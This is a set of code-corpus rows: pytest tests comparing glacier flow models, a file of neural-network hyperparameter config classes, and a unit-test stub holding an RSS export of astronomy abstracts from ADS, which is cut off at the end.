plt.plot(surface_h[1], 'b')
plt.show()
plt.plot(widths[0], 'r')
plt.plot(widths[1], 'b')
plt.show()
@pytest.mark.slow
def test_parabolic_bed(self):
models = [KarthausModel, FluxBasedModel]
flss = [dummy_constant_bed(), dummy_parabolic_bed()]
lens = []
surface_h = []
volume = []
widths = []
yrs = np.arange(1, 700, 2)
for model, fls in zip(models, flss):
mb = LinearMassBalance(2800.)
model = model(fls, mb_model=mb, glen_a=self.glen_a,
fixed_dt=10 * SEC_IN_DAY)
length = yrs * 0.
vol = yrs * 0.
for i, y in enumerate(yrs):
model.run_until(y)
assert model.yr == y
length[i] = fls[-1].length_m
vol[i] = fls[-1].volume_km3
lens.append(length)
volume.append(vol)
widths.append(fls[-1].widths_m.copy())
surface_h.append(fls[-1].surface_h.copy())
np.testing.assert_allclose(lens[0][-1], lens[1][-1], atol=1300)
np.testing.assert_allclose(volume[0][-1], volume[1][-1], atol=1e-2)
if do_plot: # pragma: no cover
plt.plot(lens[0], 'r')
plt.plot(lens[1], 'b')
plt.show()
plt.plot(volume[0], 'r')
plt.plot(volume[1], 'b')
plt.show()
plt.plot(fls[-1].bed_h, 'k')
plt.plot(surface_h[0], 'r')
plt.plot(surface_h[1], 'b')
plt.show()
plt.plot(widths[0], 'r')
plt.plot(widths[1], 'b')
plt.show()
@pytest.mark.slow
def test_mixed_bed(self):
models = [KarthausModel, FluxBasedModel]
flss = [dummy_constant_bed(), dummy_mixed_bed()]
lens = []
surface_h = []
volume = []
widths = []
yrs = np.arange(1, 700, 2)
# yrs = np.arange(1, 100, 2)
for model, fls in zip(models, flss):
mb = LinearMassBalance(2800.)
model = model(fls, mb_model=mb, fs=self.fs_old,
glen_a=self.aglen_old,
fixed_dt=14 * SEC_IN_DAY)
length = yrs * 0.
vol = yrs * 0.
for i, y in enumerate(yrs):
model.run_until(y)
assert model.yr == y
length[i] = fls[-1].length_m
vol[i] = fls[-1].volume_km3
lens.append(length)
volume.append(vol)
widths.append(fls[-1].widths_m.copy())
surface_h.append(fls[-1].surface_h.copy())
np.testing.assert_allclose(volume[0][-1], volume[1][-1], atol=2e-2)
if do_plot: # pragma: no cover
plt.plot(lens[0], 'r', label='normal')
plt.plot(lens[1], 'b', label='mixed')
plt.legend()
plt.show()
plt.plot(volume[0], 'r', label='normal')
plt.plot(volume[1], 'b', label='mixed')
plt.legend()
plt.show()
plt.plot(fls[-1].bed_h, 'k')
plt.plot(surface_h[0], 'r', label='normal')
plt.plot(surface_h[1], 'b', label='mixed')
plt.legend()
plt.show()
plt.plot(widths[0], 'r', label='normal')
plt.plot(widths[1], 'b', label='mixed')
plt.legend()
plt.show()
@pytest.mark.slow
def test_boundaries(self):
fls = dummy_constant_bed()
mb = LinearMassBalance(2000.)
model = FluxBasedModel(fls, mb_model=mb, y0=0.,
glen_a=self.glen_a,
fs=self.fs)
with pytest.raises(RuntimeError) as excinfo:
model.run_until(300)
assert 'exceeds domain boundaries' in str(excinfo.value)
class TestSia2d(unittest.TestCase):
def setUp(self):
cfg.initialize()
def tearDown(self):
pass
@pytest.mark.slow
def test_flat_2d_bed(self):
map_dx = 100.
yrs = np.arange(1, 400, 5)
lens = []
volume = []
areas = []
surface_h = []
# Flowline case
fls = dummy_constant_bed(hmax=3000., hmin=1000., nx=200, map_dx=map_dx,
widths=1.)
mb = LinearMassBalance(2600.)
flmodel = FluxBasedModel(fls, mb_model=mb, y0=0.)
length = yrs * 0.
vol = yrs * 0.
area = yrs * 0
for i, y in enumerate(yrs):
flmodel.run_until(y)
assert flmodel.yr == y
length[i] = fls[-1].length_m
vol[i] = fls[-1].volume_km3
area[i] = fls[-1].area_km2
lens.append(length)
volume.append(vol)
areas.append(area)
surface_h.append(fls[-1].surface_h.copy())
# Make a 2D bed out of the 1D
bed_2d = np.repeat(fls[-1].bed_h, 3).reshape((fls[-1].nx, 3))
sdmodel = Upstream2D(bed_2d, dx=map_dx, mb_model=mb, y0=0.,
ice_thick_filter=None)
length = yrs * 0.
vol = yrs * 0.
area = yrs * 0
for i, y in enumerate(yrs):
sdmodel.run_until(y)
assert sdmodel.yr == y
surf_1d = sdmodel.ice_thick[:, 1]
length[i] = np.sum(surf_1d > 0) * sdmodel.dx
vol[i] = sdmodel.volume_km3 / 3
area[i] = sdmodel.area_km2 / 3
lens.append(length)
volume.append(vol)
areas.append(area)
surface_h.append(sdmodel.surface_h[:, 1])
if do_plot:
plt.figure()
plt.plot(yrs, lens[0], 'r')
plt.plot(yrs, lens[1], 'b')
plt.title('Compare Length')
plt.xlabel('years')
plt.ylabel('[m]')
plt.legend(['Flowline', '2D'], loc=2)
plt.figure()
plt.plot(yrs, volume[0], 'r')
plt.plot(yrs, volume[1], 'b')
plt.title('Compare Volume')
plt.xlabel('years')
plt.ylabel('[km^3]')
plt.legend(['Flowline', '2D'], loc=2)
plt.figure()
plt.plot(fls[-1].bed_h, 'k')
plt.plot(surface_h[0], 'r')
plt.plot(surface_h[1], 'b')
plt.title('Compare Shape')
plt.xlabel('[m]')
plt.ylabel('Elevation [m]')
plt.legend(['Bed', 'Flowline', '2D'], loc=2)
plt.show()
np.testing.assert_almost_equal(lens[0][-1], lens[1][-1])
np.testing.assert_allclose(volume[0][-1], volume[1][-1], atol=3e-3)
assert utils.rmsd(lens[0], lens[1]) < 50.
assert utils.rmsd(volume[0], volume[1]) < 2e-3
assert utils.rmsd(areas[0], areas[1]) < 2e-3
assert utils.rmsd(surface_h[0], surface_h[1]) < 1.0
# Equilibrium
sdmodel.run_until_equilibrium()
flmodel.run_until_equilibrium()
assert_allclose(sdmodel.volume_km3 / 3, flmodel.volume_km3, atol=2e-3)
assert_allclose(sdmodel.area_km2 / 3, flmodel.area_km2, atol=2e-3)
# Store
run_ds = sdmodel.run_until_and_store(sdmodel.yr+50)
ts = run_ds['ice_thickness'].mean(dim=['y', 'x'])
assert_allclose(ts, ts.values[0], atol=1)
# Other direction
bed_2d = np.repeat(fls[-1].bed_h, 3).reshape((fls[-1].nx, 3)).T
sdmodel = Upstream2D(bed_2d, dx=map_dx, mb_model=mb, y0=0.,
ice_thick_filter=None)
length = yrs * 0.
vol = yrs * 0.
area = yrs * 0
for i, y in enumerate(yrs):
sdmodel.run_until(y)
assert sdmodel.yr == y
surf_1d = sdmodel.ice_thick[1, :]
length[i] = np.sum(surf_1d > 0) * sdmodel.dx
vol[i] = sdmodel.volume_km3 / 3
area[i] = sdmodel.area_km2 / 3
lens.append(length)
volume.append(vol)
areas.append(area)
surface_h.append(sdmodel.surface_h[:, 1])
np.testing.assert_almost_equal(lens[0][-1], lens[1][-1])
np.testing.assert_allclose(volume[0][-1], volume[1][-1], atol=3e-3)
assert utils.rmsd(lens[0], lens[1]) < 50.
assert utils.rmsd(volume[0], volume[1]) < 2e-3
assert utils.rmsd(areas[0], areas[1]) < 2e-3
assert utils.rmsd(surface_h[0], surface_h[1]) < 1.0
# Equilibrium
sdmodel.run_until_equilibrium()
assert_allclose(sdmodel.volume_km3 / 3, flmodel.volume_km3, atol=2e-3)
assert_allclose(sdmodel.area_km2 / 3, flmodel.area_km2, atol=2e-3)
def test_bueler(self):
# TODO: add formal test like Alex's
# https://github.com/alexjarosch/sia-fluxlim
pass
| 35.137124 | 79 | 0.522701 | 5,482 | 42,024 | 3.87541 | 0.073878 | 0.04594 | 0.043069 | 0.04547 | 0.80932 | 0.784185 | 0.76032 | 0.749635 | 0.726336 | 0.706096 | 0 | 0.041094 | 0.3335 | 42,024 | 1,195 | 80 | 35.166527 | 0.717412 | 0.035242 | 0 | 0.782105 | 0 | 0 | 0.039814 | 0 | 0 | 0 | 0 | 0.001674 | 0.153684 | 1 | 0.027368 | false | 0.003158 | 0.021053 | 0 | 0.050526 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3344334c3f6eb9c20ed2dfbbfc7bc35083e66d84 | 1,084 | py | Python | baseline/aspect_predict/config.py | icoxfog417/yans-2018-ttk | 040c41e8d42dad21edf5e4a444e15949281b72b3 | [
"MIT"
] | 1 | 2018-08-27T19:01:10.000Z | 2018-08-27T19:01:10.000Z | baseline/aspect_predict/config.py | icoxfog417/yans-2018-ttk | 040c41e8d42dad21edf5e4a444e15949281b72b3 | [
"MIT"
] | null | null | null | baseline/aspect_predict/config.py | icoxfog417/yans-2018-ttk | 040c41e8d42dad21edf5e4a444e15949281b72b3 | [
"MIT"
] | null | null | null |
class CNNConfig(object):
embedding_dim = 300
seq_length = 200 #change by input
num_classes = 9 #change by input
vocab_size = 20000 #change by input
num_filters = 128
kernel_size = 5
hidden_dim = 100
dropout_keep_prob = 1.0
learning_rate = 1e-3
batch_size = 32
num_epochs = 100
print_per_batch = 50
save_per_batch = 10
class RNNConfig(object):
embedding_dim = 300
seq_length = 200 #change by input
num_classes = 9 #change by input
vocab_size = 20000 #change by input
num_layers= 1
hidden_dim = 100
rnn = 'gru'
dropout_keep_prob = 1.0
learning_rate = 1e-3
batch_size = 32
num_epochs = 100
print_per_batch = 50
save_per_batch = 10
class DANConfig(object):
embedding_dim = 300
seq_length = 200 #change by input
num_classes = 9 #change by input
vocab_size = 20000 #change by input
num_layers= 1
hidden_dim = 100
dropout_keep_prob = 1.0
learning_rate = 1e-3
batch_size = 32
num_epochs = 100
print_per_batch = 50
save_per_batch = 10
| 22.583333 | 39 | 0.661439 | 164 | 1,084 | 4.091463 | 0.280488 | 0.107303 | 0.174367 | 0.14307 | 0.912072 | 0.912072 | 0.912072 | 0.912072 | 0.912072 | 0.912072 | 0 | 0.115237 | 0.27952 | 1,084 | 47 | 40 | 23.06383 | 0.743918 | 0.124539 | 0 | 0.853659 | 0 | 0 | 0.003202 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 1 | 0.073171 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
336813200515cfb1184af5ef9de529b9d3ab3765 | 26,703 | py | Python | exportsrv/tests/unittests/stubdata/rssTest.py | golnazads/export_service | 873f2e8d98eea036d2607b57cd51c3cd2ef73747 | [
"MIT"
] | 4 | 2019-01-13T00:42:35.000Z | 2021-06-03T15:04:35.000Z | exportsrv/tests/unittests/stubdata/rssTest.py | golnazads/export_service | 873f2e8d98eea036d2607b57cd51c3cd2ef73747 | [
"MIT"
] | 179 | 2015-05-26T21:00:26.000Z | 2022-03-30T00:13:04.000Z | exportsrv/tests/unittests/stubdata/rssTest.py | golnazads/export_service | 873f2e8d98eea036d2607b57cd51c3cd2ef73747 | [
"MIT"
] | 7 | 2016-04-18T14:25:44.000Z | 2022-02-02T19:48:08.000Z | # -*- coding: utf-8 -*-
data = {'msg': 'Retrieved 22 abstracts, starting with number 1.', 'export': '<?xml version=\'1.0\' encoding=\'utf8\'?>\n<rss version="2.0">\n<channel>\n<title>ADS (Cites/AR query)</title>\n<link>https://ui.adsabs.harvard.edu</link>\n<description>The SAO/NASA ADS Abstract service provides a search system for the Astronomy and Physics literature</description>\n<image>\n<url>http://ads.harvard.edu/figs/ads_icon_144.png</url>\n<title>SAO/NASA ADS</title>\n<link>https://ui.adsabs.harvard.edu</link>\n<width>144</width>\n<height>122</height>\n</image>\n\n<item>\n<title>Book reviews</title>\n<link>https://ui.adsabs.harvard.edu/abs/2018Wthr...73Q..35.</link>\n<description>Not Available <P /></description>\n</item>\n\n<item>\n<title>Fal\'ko, Vladimir: 2D Materials: maintaining editorial quality</title>\n<link>https://ui.adsabs.harvard.edu/abs/2018TDM.....5a0201F</link>\n<description>Not Available <P /></description>\n</item>\n\n<item>\n<title>Parkin, Stuart: Obituary: In Memoriam Professor Dr. Shoucheng Zhang, Consulting Editor</title>\n<link>https://ui.adsabs.harvard.edu/abs/2018Spin....877001P</link>\n<description>Not Available <P /></description>\n</item>\n\n<item>\n<title>Dessauges-Zavadsky, Miroslava: Millimeter Astronomy</title>\n<link>https://ui.adsabs.harvard.edu/abs/2018SAAS...38.....D</link>\n<description>Not Available <P /></description>\n</item>\n\n<item>\n<title>Pustilnik, M.: Erratum: Quantum Criticality in Resonant Andreev Conduction [Phys. Rev. Lett. 119, 116802 (2017)]</title>\n<link>https://ui.adsabs.harvard.edu/abs/2018PhRvL.120b9901P</link>\n<description>Not Available <P /></description>\n</item>\n\n<item>\n<title>Carton, David: Resolving Gas-Phase Metallicity In Galaxies</title>\n<link>https://ui.adsabs.harvard.edu/abs/2017PhDT........14C</link>\n<description>Chapter 2: As part of the Bluedisk survey we analyse the radial gas-\nphase metallicity profiles of 50 late-type galaxies. We compare the\nmetallicity profiles of a sample of HI-rich galaxies against a control\nsample of HI-\'normal\' galaxies. We find the metallicity gradient of a\ngalaxy to be strongly correlated with its HI mass fraction {M}{HI}) /\n{M}_{\\ast}). We note that some galaxies exhibit a steeper metallicity\nprofile in the outer disc than in the inner disc. These galaxies are\nfound in both the HI-rich and control samples. This contradicts a\nprevious indication that these outer drops are exclusive to HI-rich\ngalaxies. These effects are not driven by bars, although we do find some\nindication that barred galaxies have flatter metallicity profiles. By\napplying a simple analytical model we are able to account for the\nvariety of metallicity profiles that the two samples present. The\nsuccess of this model implies that the metallicity in these isolated\ngalaxies may be in a local equilibrium, regulated by star formation.\nThis insight could provide an explanation of the observed local mass-\nmetallicity relation. <P />Chapter 3 We present a method to recover the\ngas-phase metallicity gradients from integral field spectroscopic (IFS)\nobservations of barely resolved galaxies. We take a forward modelling\napproach and compare our models to the observed spatial distribution of\nemission line fluxes, accounting for the degrading effects of seeing and\nspatial binning. The method is flexible and is not limited to particular\nemission lines or instruments. We test the model through comparison to\nsynthetic observations and use downgraded observations of nearby\ngalaxies to validate this work. As a proof of concept we also apply the\nmodel to real IFS observations of high-redshift galaxies. From our\ntesting we show that the inferred metallicity gradients and central\nmetallicities are fairly insensitive to the assumptions made in the\nmodel and that they are reliably recovered for galaxies with sizes\napproximately equal to the half width at half maximum of the point-\nspread function. However, we also find that the presence of star forming\nclumps can significantly complicate the interpretation of metallicity\ngradients in moderately resolved high-redshift galaxies. Therefore we\nemphasize that care should be taken when comparing nearby well-resolved\nobservations to high-redshift observations of partially resolved\ngalaxies. <P />Chapter 4 We present gas-phase metallicity gradients for\n94 star-forming galaxies between (0.08 &lt; z &lt; 0.84). We find a\nnegative median metallicity gradient of (-0.043^{+0.009}_{-0.007},\ndex/kpc)/span&gt;, i.e. on average we find the centres of these galaxies\nto be more metal-rich than their outskirts. However, there is\nsignificant scatter underlying this and we find that 10% (9) galaxies\nhave significantly positive metallicity gradients, 39% (37) have\nsignificantly negative gradients, 28% (26) have gradients consistent\nwith being flat, the remainder 23% (22) are considered to have\nunreliable gradient estimates. We find a slight trend for a more\nnegative metallicity gradient with both increasing stellar mass and\nincreasing star formation rate (SFR). However, given the potential\nredshift and size selection effects, we do not consider these trends to\nbe significant. Indeed when we normalize the SFR of our galaxies\nrelative to the main sequence, we do not observe any trend between the\nmetallicity gradient and the normalized SFR. This finding is contrary to\nother recent studies of galaxies at similar and higher redshifts. We do,\nhowever, identify a novel trend between the metallicity gradient of a\ngalaxy and its size. Small galaxies ((r_d &lt; 3 kpc)) present a large\nspread in observed metallicity gradients (both negative and positive\ngradients). In contrast, we find no large galaxies (r_d &gt; 3 kpc) with\npositive metallicity gradients, and overall there is less scatter in the\nmetallicity gradient amongst the large galaxies. We suggest that these\nlarge (well-evolved) galaxies may be analogues of galaxies in the\npresent-day Universe, which also present a common negative metallicity\ngradient. <P />Chapter 5 The relationship between a galaxy\'s stellar\nmass and its gas-phase metallicity results from the complex interplay\nbetween star formation and the inflow and outflow of gas. Since the\ngradient of metals in galaxies is also influenced by the same processes,\nit is therefore natural to contrast the metallicity gradient with the\nmass-metallicity relation. Here we study the interrelation of the\nstellar mass, central metallicity and metallicity gradient, using a\nsample of 72 galaxies spanning (0.13 &lt; z &lt; 0.84) with reliable\nmetallicity gradient estimates. We find that typically the galaxies that\nfall below the mean mass-metallicity relation have flat or inverted\nmetallicity gradients. We quantify their relationship taking full\naccount of the covariance between the different variables and find that\nat fixed mass the central metallicity is anti-correlated with the\nmetallicity gradient. We argue that this is consistent with a scenario\nthat suppresses the central metallicity either through the inflow of\nmetal poor gas or outflow of metal enriched gas. <P /></description>\n</item>\n\n<item>\n<title>Kohler, Susanna: A 3D View of a Supernova Remnant</title>\n<link>https://ui.adsabs.harvard.edu/abs/2017nova.pres.2388K</link>\n<description>The outlined regions mark the 57 knots in Tycho selected by the authors\nfor velocity measurements. Magenta regions have redshifted line-of-sight\nvelocities (moving away from us); cyan regions have blueshifted light-\nof-sight velocities (moving toward us). [Williams et al. 2017]The Tycho\nsupernova remnant was first observed in the year 1572. Nearly 450 years\nlater, astronomers have now used X-ray observations of Tycho to build\nthe first-ever 3D map of a Type Ia supernova remnant.Signs of\nExplosionsSupernova remnants are spectacular structures formed by the\nejecta of stellar explosions as they expand outwards into the\nsurrounding interstellar medium.One peculiarity of these remnants is\nthat they often exhibit asymmetries in their appearance and motion. Is\nthis because the ejecta are expanding into a nonuniform interstellar\nmedium? Or was the explosion itself asymmetric? The best way we can\nexplore this question is with detailed observations of the\nremnants.Histograms of the velocity in distribution of the knots in the\nX (green), Y (blue) and Z (red) directions (+Z is away from the\nobserver). They show no evidence for asymmetric expansion of the knots.\n[Williams et al. 2017]Enter TychoTo this end, a team of scientists led\nby Brian Williams (Space Telescope Science Institute and NASA Goddard\nSFC) has worked to map out the 3D velocities of the ejecta in the Tycho\nsupernova remnant. Tycho is a Type Ia supernova thought to be caused by\nthe thermonuclear explosion of a white dwarf in a binary system that was\ndestabilized by mass transfer from its companion.After 450 years of\nexpansion, the remnant now has the morphological appearance of a roughly\ncircular cloud of clumpy ejecta. The forward shock wave from the\nsupernova, however, is known to have twice the velocity on one side of\nthe shell as on the other.To better understand this asymmetry, Williams\nand collaborators selected a total of 57 knots in Tychos ejecta, spread\nout around the remnant. They then used 12 years of Chandra X-ray\nobservations to measure both the knots proper motion in the plane of the\nsky and their line-of-sight velocity. These two measurements were then\ncombined to build a full 3D map of the motion of the ejecta.3D\nhydrodynamical simulations of Tycho, stopped at the current epoch. These\nshow that both initially smooth (top) and initially clumpy (bottom)\nejecta models are consistent with the current observations of the\nmorphology and dynamics of Tychos ejecta. [Adapted from Williams et al.\n2017]Symmetry and ClumpsWilliams and collaborators found that the knots\nhave total velocities that range from 2400 to 6600 km/s. Unlike the\nforward shock of the supernova, Tychos ejecta display no asymmetries in\ntheir motion which suggests that the explosion itself was symmetric. The\nmore likely explanation is a density gradient in the interstellar\nmedium, which could slow the shock wave on one side of the remnant\nwithout yet affecting the motion of the clumps of ejecta.As a final\nexploration, the authors attempt to address the origin of Tychos\nclumpiness. The fact that some of Tychos ejecta knots precede its outer\nedge has raised the question of whether the ejecta started out clumpy,\nor if they began smooth and only clumped during expansion. Williams and\ncollaborators matched the morphological and dynamical data to\nsimulations, demonstrating that neither scenario can be ruled out at\nthis time.This first 3D map of a Type Ia supernova represents an\nimportant step in our ability to understand these stellar explosions.\nThe authors suggest that well be able to expand on this map in the\nfuture with additional observations from Chandra, as well as with new\ndata from future X-ray observatories that will be able to detect fainter\nemission.CitationBrian J. Williams et al 2017 ApJ 842 28.\ndoi:10.3847/1538-4357/aa7384 <P /></description>\n</item>\n\n<item>\n<title>Green, D. W. E.: Potential New Meteor Shower from Comet C/2015 D4 (Borisov)</title>\n<link>https://ui.adsabs.harvard.edu/abs/2017CBET.4403....2G</link>\n<description>A previous good encounter occurred on 2006 July 29d04h11m UT (r - Delta\n= +0.0003 AU, solar long. = 125.841 deg). Future encounters are\npredicted on 2029 July 29d01h53m (+0.0007 AU, 125.816 deg), 2042 July\n29d10h48m (+0.0006 AU, 125.886 deg), 2053 July 29d05h35m (+0.0001 AU,\n125.848 deg), and on 2068 July 29d02h09m UT (-0.0001 AU, 125.863 deg).\n<P /></description>\n</item>\n\n<item>\n<title>Casey, Andrew R.: sick: Spectroscopic inference crank</title>\n<link>https://ui.adsabs.harvard.edu/abs/2017ascl.soft06009C</link>\n<description>sick infers astrophysical parameters from noisy observed spectra.\nPhenomena that can alter the data (e.g., redshift, continuum,\ninstrumental broadening, outlier pixels) are modeled and simultaneously\ninferred with the astrophysical parameters of interest. This package\nrelies on emcee (ascl:1303.002); it is best suited for situations where\na grid of model spectra already exists, and one would like to infer\nmodel parameters given some data. <P /></description>\n</item>\n\n<item>\n<title>Siltala, J.: VizieR Online Data Catalog: BM CVn V-band differential light curve (Siltala+, 2017)</title>\n<link>https://ui.adsabs.harvard.edu/abs/2017yCat.113380453S</link>\n<description>The included files present the numerical data of our analysis of the BM\nCVn photometry. The data consists of differential Johnson V-band\nphotometry using the star HD 116010 as the comparison star. <P />The\nanalysis has been performed using the previously published continuous\nperiod search (CPS) method, described in detail in Lehtinen et al.,\n2011A&amp;A...527A.136L, Cat. J/A+A/527/A136. <P />(4 data files). <P /></description>\n</item>\n\n<item>\n<title>Waagen, Elizabeth O.: V694 Mon (MWC 560) spectroscopy requested</title>\n<link>https://ui.adsabs.harvard.edu/abs/2017AAVSN.429....1W</link>\n<description>The observing campaign from 2016 on V694 Mon (MWC 560) (AAVSO Alert\nNotice 538) has been continued, but with different requirements.\nPhotometry is no longer specifically requested on a regular basis\n(although ongoing observations that do not interfere with other\nobligations are welcome). Spectroscopy on a cadence of a week or two is\nrequested to monitor changes in the disk outflow. Investigator Adrian\nLucy writes: "Adrian Lucy and Dr. Jeno Sokoloski (Columbia University)\nhave requested spectroscopic monitoring of the broad-absorption-line\nsymbiotic star V694 Mon (MWC 560), as a follow-up to coordinated multi-\nwavelength observations obtained during its recent outburst (ATel #8653,\n#8832, #8957; #10281). This system is a perfect place in which to study\nthe relationship between an accretion disk and disk winds/jets, and a\nhigh-value target for which even low-resolution spectra can be\nextraordinarily useful...Optical brightening in MWC 560 tends to predict\nhigher-velocity absorption, but sometimes jumps in absorption velocity\nalso appear during optical quiescence (e.g., Iijima 2001, ASPCS, 242,\n187). If such a velocity jump occurs during photometric quiescence, it\nmay prompt radio observations to confirm and test the proposed outflow\norigin for recently-discovered flat-spectrum radio emission (Lucy et al.\nATel #10281)...Furthermore, volunteer spectroscopic monitoring of this\nsystem has proved useful in unpredictable ways. For example, \'amateur\'\nspectra obtained by Somogyi Péter in 2015 December demonstrated that the\nvelocity of absorption was very low only a month before an optical\noutburst peak prompted absorption troughs up to 3000 km/s, which\nconstrains very well the timing of the changes to the outflow to a\ndegree that would not have been otherwise possible. Any resolution can\nbe useful. A wavelength range that can accommodate a blueshift of at\nleast 140 angstroms (6000 km/s) from the rest wavelengths of H-alpha at\n6562 angstroms and/or H-beta at 4861 angstroms is ideal, though spectra\nwith a smaller range can still be useful. Photometry could potentially\nstill be useful, but will be supplementary to medium-cadence photometry\nbeing collected by the ANS collaboration." "Spectroscopy may be uploaded\nto the ARAS database\n(http://www.astrosurf.com/aras/Aras_DataBase/DataBase.htm), or sent to\nAdrian and Jeno directly at &lt;lucy@astro.columbia.edu&gt;. Finder\ncharts with sequence may be created using the AAVSO Variable Star\nPlotter (https://www.aavso.org/vsp). Photometry should be submitted to\nthe AAVSO International Database. See full Special Notice for more\ndetails. <P /></description>\n</item>\n\n<item>\n<title>Yan, Lin: Confirm the Nature of a TDE Candidate in ULIRG F01004-2237 Using Spitzer mid-IR Light Curves</title>\n<link>https://ui.adsabs.harvard.edu/abs/2017sptz.prop13168Y</link>\n<description>ULIRG F01004-2237 had a strong optical flare, peaked in 2010, and the\nfollow-up optical spectra classified this event as a TDE candidate\n(Tadhunter et al. 2017, Nature Astronomy). In early 2017, using archival\nWISE data, we discovered that its 3.4 and 4.6um fluxes have been\nsteadily rising since 2013, increased by a factor of 3.5 and 2.6\nrespectively. The last epoch data from WISE on 2016-12-12 shows that\nF01004-2237 has reached 7.5 and 14mJy at 3.4 and 4.6um. We interpret the\nmid-IR LCs as infrared echoes from the earlier optical flare. We infer a\nconvex, dust ring with a radius of 1 pc from the central heating source.\nOur model predicts that if this event is indeed a TDE, its mid-IR LCs\nshould start to fade in next 5-12 months because it has already\nreprocessed most of the UV/optical energy from the tidal disruption.\nHowever, if this event is due to activities from an AGN, its mid-IR LCs\ncould last over a much longer time scale. We request a total of 3.2\nhours of Spitzer time to monitor the mid-IR variations in next 12\nmonths. This will provide the critical data to confirm the nature of\nthis transient event. <P /></description>\n</item>\n\n<item>\n<title>Azankpo, Severin: Surface Accuracy and Pointing Error Prediction of a 32 m Diameter Class Radio Astronomy Telescope</title>\n<link>https://ui.adsabs.harvard.edu/abs/2017MsT..........2A</link>\n<description>The African Very-long-baseline interferometry Network (AVN) is a joint\nproject between South Africa and eight partner African countries aimed\nat establishing a VLBI (Very-Long-Baseline Interferometry) capable\nnetwork of radio telescopes across the African continent. An existing\nstructure that is earmarked for this project, is a 32 m diameter antenna\nlocated in Ghana that has become obsolete due to advances in\ntelecommunication. The first phase of the conversion of this Ghana\nantenna into a radio astronomy telescope is to upgrade the antenna to\nobserve at 5 GHz to 6.7 GHz frequency and then later to 18 GHz within a\nrequired performing tolerance. The surface and pointing accuracies for a\nradio telescope are much more stringent than that of a telecommunication\nantenna. The mechanical pointing accuracy of such telescopes is\ninfluenced by factors such as mechanical alignment, structural\ndeformation, and servo drive train errors. The current research\ninvestigates the numerical simulation of the surface and pointing\naccuracies of the Ghana 32 m diameter radio astronomy telescope due to\nits structural deformation mainly influenced by gravity, wind and\nthermal loads. <P /></description>\n</item>\n\n<item>\n<title>Rotaru, Adrian: The penumbral Moon\'s eclipse form 16 september 2016</title>\n<link>https://ui.adsabs.harvard.edu/abs/2016emo6.rept.....R</link>\n<description>The web page represents circumstances and photographs from the Moon\'s\npartial/penumbral eclipse from 16 September 2016 obtained from few\nvarious places in Romania (East Europe). A part of photographs give the\nmaximum phase of the Eclipse, while another give the reddened Moon. <P\n/></description>\n</item>\n\n<item>\n<title>Velasco, Sergio: Living on the edge: Adaptive Optics+Lucky Imaging</title>\n<link>https://ui.adsabs.harvard.edu/abs/2016iac..talk..872V</link>\n<description>Not Available <P /></description>\n</item>\n\n<item>\n<title>Liu, Corey W.: The Diversity of Nuclear Magnetic Resonance Spectroscopy</title>\n<link>https://ui.adsabs.harvard.edu/abs/2009bcet.book...65L</link>\n<description>The discovery of the physical phenomenon of Nuclear Magnetic Resonance\n(NMR) in 1946 gave rise to the spectroscopic technique that has become a\nremarkably versatile research tool. One could oversimplify NMR spectros-\ncopy by categorizing it into the two broad applications of structure\nelucidation of molecules (associated with chemistry and biology) and\nimaging (associated with medicine). But, this certainly does not do NMR\nspectroscopy justice in demonstrating its general acceptance and\nutilization across the sciences. This manuscript is not an effort to\npresent an exhaustive, or even partial review of NMR spectroscopy\napplications, but rather to provide a glimpse at the wide-ranging uses\nof NMR spectroscopy found within the confines of a single magnetic\nresonance research facility, the Stanford Magnetic Resonance Laboratory.\nIncluded here are summaries of projects involving protein structure\ndetermination, mapping of intermolecular interactions, exploring\nfundamental biological mechanisms, following compound cycling in the\nenvironmental, analysis of synthetic solid compounds, and microimaging\nof a model organism. <P /></description>\n</item>\n\n<item>\n<title>Mahabal, Ashish A.: Time Domain Exploration with the Palomar-QUEST Sky Survey</title>\n<link>https://ui.adsabs.harvard.edu/abs/2007AAS...210.2104M</link>\n<description>Palomar-QUEST (PQ) synoptic sky survey has now been routinely processing\ndata from driftscans in real-time. As four photometric bandpasses are\nutilized in nearly simultaneously, PQ is well suited to search for\ntransient and highly variable objects. Using a series of software\nfilters i.e. programs to select/deselect objects based on certain\ncriteria we shorten the list of candidates from the initially flagged\ncandidate transients. Such filters include looking for known asteroids,\nknown variables, as well as moving, but previously uncatalogued objects\nbased on their motion within a scan as well as between successive scans.\nSome software filters also deal with instrumental artifacts, edge\neffects, and use clustering of spurious detections around bright stars.\nDuring a typical night when we cover about 500 sq. degrees, we detect\nhundreds of asteroids, the primary contaminants in the search for\nastrophysical transients beyond our solar system. <P />Here we describe\nsome statistics based on the software filters we employ and the nature\nof the objects that seem to survive the process. We also discuss the\nusefulness of this to amateur astronomers, projects like VOEventNet, and\nother synoptic sky surveys. <P />We also present an outline of the work\nwe have started on quantifying the variability of quasars, blazars, as\nwell as various classes of Galactic sources, by combining the large\nnumber of PQ scans with other existing data sources federated in the\nVirtual Observatory environment. <P />The PQ survey is partially\nsupported by the U.S. National Science Foundation (NSF). <P /></description>\n</item>\n\n<item>\n<title>., S. N. Agbo: Analysis of Thermal Losses in the Flat-Plate Collector of a Thermosyphon Solar Water Heater</title>\n<link>https://ui.adsabs.harvard.edu/abs/2007RJPh....1...35.</link>\n<description>Not Available <P /></description>\n</item>\n\n<item>\n<title>Miller, Judy L.: Spacecraft navigation requirements</title>\n<link>https://ui.adsabs.harvard.edu/abs/1995ans..agar..390M</link>\n<description>Spacecraft operation depends upon knowledge of vehicular position and,\nconsequently, navigational support has been required for all such\nsystems. Technical requirements for different mission trajectories and\norbits are addressed with consideration given to the various tradeoffs\nwhich may need to be considered. The broad spectrum of spacecraft are\nconsidered with emphasis upon those of greater military significance\n(i.e., near earth orbiting satellites). Technical requirements include,\nbut are not limited to, accuracy; physical characteristics such as\nweight and volume; support requirements such as electrical power and\nground support; and system integrity. Generic navigation suites for\nspacecraft applications are described. It is shown that operational\nspacecraft 